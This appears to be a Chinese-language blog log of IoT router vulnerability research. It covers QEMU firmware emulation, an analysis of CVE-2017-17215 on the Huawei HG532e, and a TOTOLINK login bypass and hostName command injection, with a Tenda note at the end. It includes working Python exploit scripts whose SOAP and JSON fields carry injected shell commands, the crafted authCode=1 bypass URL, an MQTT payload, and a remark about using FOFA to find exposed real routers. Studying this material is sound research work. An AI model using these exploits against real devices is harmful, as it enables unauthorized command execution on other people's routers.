Level1

基础配置 soln1

简单的固件模拟运行使用qemu-user-static进行模拟,下载地址

1
2
https://packages.debian.org/bullseye/amd64/qemu-user-static/download
#之后执行 sudo dpkg -i xx 就行

在解压的目录中执行,获得qemu

1
2
3
4
5
6
7
8
9
10
cp $(whereis qemu-mipsel-static) . #针对小端序路由器
cp $(whereis qemu-mips-static) . #针对大端序路由器
#之后想要对想要模拟的部分固件服务,例如:
sudo chroot . ./qemu-mips-static -0 "ssdpcgi" -E HTTP_ST=ssdp:all ./htdocs/cgibin
#该例子是启动大端序路由器cgibin服务终端ssdpcgi分支,
#-0 参数意思是第一个参数即是cgibin的main函数中的第一个参数,用于进入服务
#-E 参数意思是设置环境
#如果指令出现问题,检查执行的固件服务的格式
# file 一个可执行文件即可
#还有一种可能为qemu版本过低,按照网上的说法为2.4版本以上才行

基础配置 soln2

如果想直接模拟路由器这个环境,可以利用qemu-system-mips进行模拟,但是我在网上搜了一遍以后发现好像只能模拟小端序的路由器:),下列为初始化脚本init.sh,注意ip,用户名与密码都是root

1
2
3
4
5
6
7
8
#!/bin/sh 
sudo brctl addbr virbr0
sudo ifconfig virbr0 192.168.109.1/24 up
sudo tunctl -t tap0
sudo ifconfig tap0 192.168.109.11/24 up
sudo brctl addif virbr0 tap0
sudo qemu-system-mips -M malta -kernel vmlinux-2.6.32-5-4kc-malta -hda debian_squeeze_mips_standard.qcow2 -append "root=/dev/sda1 console=tty0" -netdev tap,id=tapnet,ifname=tap0,script=no -device rtl8139,netdev=tapnet
#-endian big似乎在新版本无法模拟大端序

进入我们qemu启动的路由器终端以后,对qemu进行网桥配置,保证路由器可以ping通电脑

1
2
3
4
5
6
7
8
9
ifconfig eth0 192.168.109.145/24

scp -r ./cpio-root root@192.168.109.145:/root/
#在电脑中利用ssh连接传输模拟的文件系统
chroot ./cpio-root /bin/bash
#更改bash终端,之后启动服务就行

#需要关闭网卡配置的话在终端,ifconfig查看网卡以后,就可以查看
ifconfig 网卡名 down

但是这个方法太折磨了,还是买个路由器吧:(

CVE-2017-17215 HG532e 远程命令执行漏洞分析

漏洞分析

根据公布的漏洞信息,发现字符串ctrlt、DeviceUpgrade_1、NewStatusURL,在root目录下进行搜索

1
2
3
4
osaa@ubuntu:~/Desktop/ubin/cveHG/_HG532eV100R001C01B020_upgrade_packet.bin.extracted/squashfs-root$ grep -r 'ctrlt'
Binary file bin/upnp matches
osaa@ubuntu:~/Desktop/ubin/cveHG/_HG532eV100R001C01B020_upgrade_packet.bin.extracted/squashfs-root$ grep -r '37215'
Binary file bin/mic matches

之后再 cat mic 看到了app start pid 之类的字样,因该是个服务端口在37215,且端口号只在37215中,之后再看看upnp的代码,这段代码可以看到注入点在NewStatusURL而他在snprintf之后会用第一个参数a0继续执行system。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
LOAD:004074C4 3C 05 00 41 24 A5 4C 40       li      $a1, aNewdownloadurl             # "NewDownloadURL"
LOAD:004074CC 00 00 30 21 move $a2, $zero
LOAD:004074D0 03 20 F8 09 jalr $t9 ; ATP_XML_GetChildNodeByName
LOAD:004074D4 27 A7 00 20 addiu $a3, $sp, 0x20 # ' '
LOAD:004074D4
LOAD:004074D8 8F BC 00 18 lw $gp, 0x18($sp)
LOAD:004074DC 14 40 00 21 bnez $v0, loc_407564
LOAD:004074E0 00 40 88 21 move $s1, $v0
LOAD:004074E0
LOAD:004074E4 8F A2 00 20 lw $v0, 0x20($sp)
LOAD:004074E8 00 00 00 00 nop
LOAD:004074EC 10 40 00 1D beqz $v0, loc_407564
LOAD:004074F0 3C 05 00 41 lui $a1, 0x41 # 'A'
LOAD:004074F0
LOAD:004074F4 8F 99 80 F4 la $t9, ATP_XML_GetChildNodeByName
LOAD:004074F8 8E 04 00 2C lw $a0, 0x2C($s0)
LOAD:004074FC 24 A5 4C 50 li $a1, aNewstatusurl # "NewStatusURL"
LOAD:00407500 00 00 30 21 move $a2, $zero
LOAD:00407504 03 20 F8 09 jalr $t9 ; ATP_XML_GetChildNodeByName
LOAD:00407508 27 A7 00 24 addiu $a3, $sp, 0x24 # '$'
LOAD:00407508
LOAD:0040750C 8F BC 00 18 lw $gp, 0x18($sp)
LOAD:00407510 14 40 00 14 bnez $v0, loc_407564
LOAD:00407514 00 40 88 21 move $s1, $v0
LOAD:00407514
LOAD:00407518 8F A2 00 24 lw $v0, 0x24($sp)
LOAD:0040751C 00 00 00 00 nop
LOAD:00407520 10 40 00 10 beqz $v0, loc_407564
LOAD:00407524 27 B0 00 28 addiu $s0, $sp, 0x28 # '('
LOAD:00407524
LOAD:00407528 8F 99 82 84 la $t9, snprintf
LOAD:0040752C 8F A7 00 20 lw $a3, 0x20($sp)
LOAD:00407530 3C 06 00 41 24 C6 4C 60 li $a2, aUpgGUST1Firmwa # "upg -g -U %s -t '1 Firmware Upgrade Ima"...
LOAD:00407538 02 00 20 21 move $a0, $s0
LOAD:0040753C 24 05 04 00 li $a1, 0x400
LOAD:00407540 03 20 F8 09 jalr $t9 ; snprintf
LOAD:00407544 AF A2 00 10 sw $v0, 0x10($sp)
LOAD:00407544
LOAD:00407548 8F BC 00 18 lw $gp, 0x18($sp)
LOAD:0040754C 00 00 00 00 nop
LOAD:00407550 8F 99 83 34 la $t9, system
LOAD:00407554 00 00 00 00 nop
LOAD:00407558 03 20 F8 09 jalr $t9 ; system

固件模拟

固件获取参考:https://www.freebuf.com/vuls/160040.html
模拟步骤为:
1.参考soln2使用init.sh启动一个qemu终端
2.之后再用ssh启动一个终端 ssh root@192.168.109.145
3.cd到bin目录启动upnp 和 mic服务,注意一个点/bin/bash可能会启动不了,直接在cpio-root目录里面chroot . sh(麻麻地,给整麻了这个)即可
4.再在qemu的终端 lsof -i:37215查看服务是否
5.这里由于我们ssh启动终端后开启了upnp服务路由器的eth0网卡会变,需要重新配置一次
ifconfig eth0 192.168.109.145/24(这个折磨了我太久了,绷不住了)
6.保险起见可以再输入指令nc -vv 192.168.109.145 37215 查看端口是否开启 7.之后就可以正常模拟执行打入exp,脚本和终端见下文。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import requests 
headers = {
"Authorization": "Digest username=dslf-config, realm=HuaweiHomeGateway, nonce=88645cefb1f9ede0e336e3569d75ee30, uri=/ctrlt/DeviceUpgrade_1, response=3612f843a42db38f48f59d2a3597e19c, algorithm=MD5, qop=auth, nc=00000001, cnonce=248d1a2560100669"
}

data = '''<?xml version="1.0" ?>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1">
<NewStatusURL>;mkdir /Osaa_first;</NewStatusURL>
<NewDownloadURL>HUAWEIUPNP</NewDownloadURL>
</u:Upgrade>
</s:Body>
</s:Envelope>
'''
requests.post('http://192.168.109.145:37215/ctrlt/DeviceUpgrade_1',headers=headers,data=data)
print("finish!!!")
1
2
3
root@debian-mips:~/squashfs-root# ls
bin dev etc init lib mnt Osaa_first proc sbin tmp usr var
root@debian-mips:~/squashfs-root#

小总结

个人感觉,对于IOT的漏洞挖掘,就初级阶段感觉是字符串拼接达到system来进行,几个比较初级的cve也都是如此,如何深入了解还得思考一下漏洞挖掘的思路才行,下一篇尝试一下boofuzz的挖掘思路。(挖个坑嘿嘿嘿)

Level2

后台登录流程分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
sudo brctl addbr virbr0
sudo ifconfig virbr0 192.168.109.1/24 up
sudo tunctl -t tap0
sudo ifconfig tap0 192.168.109.11/24 up
sudo brctl addif virbr0 tap0
sudo qemu-system-mipsel -M malta \
-kernel vmlinux-2.6.32-5-4kc-malta \
-hda debian_squeeze_mipsel_standard.qcow2 \
-append "root=/dev/sda1 console=tty0" \
-netdev tap,id=tapnet,ifname=tap0,script=no \
-device rtl8139,netdev=tapnet

####### qemu######
ifconfig eth0 192.168.109.145/24
scp -r ./cpio-root root@192.168.109.145:/root/
#在电脑中利用ssh连接传输模拟的文件系统
chroot ./cpio-root /bin/bash
#启动服务
lighttpd -f lighttpd/lighttpd.conf
#浏览器进入192.168.109.145即可发现路由器界面

在登录界面先用bp抓个包

1
2
我们发现整个登录访问的流程是
cgi_bin->formLoginAuth.htm?->lighthttp->login_html->cgi_bin

拖入ida分析cgi_bin和lighthttp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
cgi_bin---------------------------------------------------------------------------------------------------------
v18 = strcmp(v35, v32) || v17 != 0; //v35 = httppassword v32 = password v18 = authcode
....
snprintf(
&v24[v19],
4096 - v19,
",\"redirectURL\":\"http://%s/formLoginAuth.htm?authCode=%d&userName=%s&goURL=%s&action=login&flag=1\"}",
v29,
v18 );
lighttp------------------------------------------------------------------------------------------------------------
if ( strstr(v20, "authCode") )
v7 = atoi(v8);
if ( strstr(v20, "userName") )
strcpy(v30, v8);
if ( strstr(v20, "password") )
strcpy(v29, v8);
if ( strstr(v20, "goURL") )
strcpy(v28, v8);
if ( strstr(v20, "flag") )
strcpy(v27, v8); //首先是一段初始化
...
if ( !v19[0] )
{
if ( strstr(&v13, "ie8") )
{
v10 = "wan_ie.html";
}
else if ( atoi(&v13) == 1 )
{
v10 = "phone/home.html";
}
else
{
v10 = "home.html";
}
strcpy(v19, v10);
}
if ( v7 ) // authcode = 1;flag = 1 -> v19= home.page
{
fbss = 0;
do
{
v12 = time(0);
if ( !ws_get_cookie(a1, "SESSION_ID", v15, 0) && form_get_idx_by_sessionid(&fl_sess, v12, v15) != -1 )
{
sprintf(a2, "http://%s/%s?timestamp=%ld", v22, v19);
return 1;
}
sprintf(v14, "%ld:%d", v12, 2);
sprintf(v18, "%d:%s", 2, v14);
}
//可以看到这段代码生成以后发现在authcode = 1;flag = 1 -> v19= home.page的条件下,会生成session进入home.page
//由此可以生成我们请求时的url为http://xxx.xxx.xxx.xxx/formLoginAuth.htmauthCode=1&userName=admin&goURL=home.html&action=login
//便可以绕过登录

在生成session认证的时候,从l登录的cstecgi.cgi到lighttp在此版本下,校验用的authCode是通过url的重定向传递的由此便可以生成session来达到未授权命令等操作

什么是lighttpd:https://baike.baidu.com/item/lighttpd/6735570?fr=ge_ala

1
2
由于此漏洞影响lighthttp version = 1.4.20
服务搜索"Server: lighttpd/1.4.20"

这个未授权访问在fofa里面搜索service,甚至可以直接用进入totolink路由器后台,牛皮:)

OpModeCfg命令注入

1
2
3
4
5
v46 = (const char *)websGetVar(a1, "hostName", ""); //过滤不严谨
if ( *v46 )
{
nvram_set("wan_hostname", v46);
doSystem("echo '%s' > /proc/sys/kernel/hostname", v46);

以上函数不严谨,绕过之前的约束即可得到以下脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import requests
url = "http://192.168.109.145/cgi-bin/cstecgi.cgi"
cookie = {"Cookie":"SESSION_ID=2:1694335528:2"}
data = {"topicurl" : "setOpModeCfg",
"proto" : "5",
"switchOpMode" : "1",
"hostName" : "';ls -al ../ ;'"}
response = requests.post(url, cookies=cookie, json=data)
print(response.text)
print(response)
-----------------------------------------------------------------------------------------------
drwxr-xr-x 9 0 0 4096 Sep 9 14:07 .
drwxr-xr-x 19 0 0 4096 Sep 9 14:07 ..
drwxr-xr-x 2 0 0 4096 Sep 9 14:07 advance
drwxr-xr-x 2 0 0 4096 Sep 9 14:07 basic
drwxr-xr-x 2 0 0 4096 Sep 9 14:07 cgi-bin
-rwxr-xr-x 1 0 0 955 Sep 9 14:24 error.html
-rwxr-xr-x 1 0 0 1150 Sep 9 14:24 favicon.ico
-rwxr-xr-x 1 0 0 143 Sep 9 14:24 home.html
-rwxr-xr-x 1 0 0 797 Sep 9 14:24 index.html
drwxr-xr-x 2 0 0 4096 Sep 9 14:07 language
-rwxr-xr-x 1 0 0 4859 Sep 9 14:24 login.html
-rw-r--r-- 1 0 0 4640 Sep 9 14:24 login_ie.html
-rw-r--r-- 1 0 0 31237 Sep 9 14:24 offsite_net.html
-rwxr-xr-x 1 0 0 34585 Sep 9 14:24 opmode.html
drwxr-xr-x 2 0 0 4096 Sep 9 14:07 phone
drwxr-xr-x 2 0 0 4096 Sep 9 14:07 plugin
drwxr-xr-x 5 0 0 4096 Sep 9 14:07 static
-rwxr-xr-x 1 0 0 1493 Sep 9 14:24 telnet.html
-rw-r--r-- 1 0 0 2038 Sep 9 14:24 test.html
-rw-r--r-- 1 0 0 10867 Sep 9 14:24 wan_ie.html
-rwxr-xr-x 1 0 0 55850 Sep 9 14:24 wizard.html
-rwxr-xr-x 1 0 0 14683 Sep 9 14:24 wizard_custom.html

可以看出命令注入漏洞看出来主要是过滤不严谨造成的

mqtt协议发包

在目标路由器如果开启端口1883 mqtt协议口那就是可以实现exp消息为

1
2
3
4
5
{"topicurl" : "setOpModeCfg",
"proto" : "5",
"switchOpMode" : "1",
"hostName" : "';ls -al ../ ;'"
}

其实也和python发包差不多,只是通过paho.mqtt.client 而不是request发包

ubus to do…..

没有设备实战有点困难:cry:

挖个坑有机会搞一搞

小总结

整个iot大概思路给我的感觉就是启动一个服务然后服务里面因为消息的传输不严谨(可以看到大部分洞也都是各种协议的发包造成的)而操作破坏,重要的是在分析和跟踪消息传输的路径和函数实现的方法就行。爆出漏洞也基本都在lighthhtpd,cgi,telent以及相关so文件里面。

参考:https://www.yuque.com/cyberangel/rg9gdm/tthxry6czlkztuuw#B7Ds0

https://gtrboy.github.io/posts/bus/#0x01-mqtt%E5%8D%8F%E8%AE%AE

Level3

陆陆续续交了几个CVE,记录一些点。

Tenda

1
2
3
goform->formDefineTendDa #包含一系列Formxxx函数容易出洞
s = (char *)websGetVar(a1, *(_DWORD *)(webs_param_elem + 4), a4);
#s为输入变量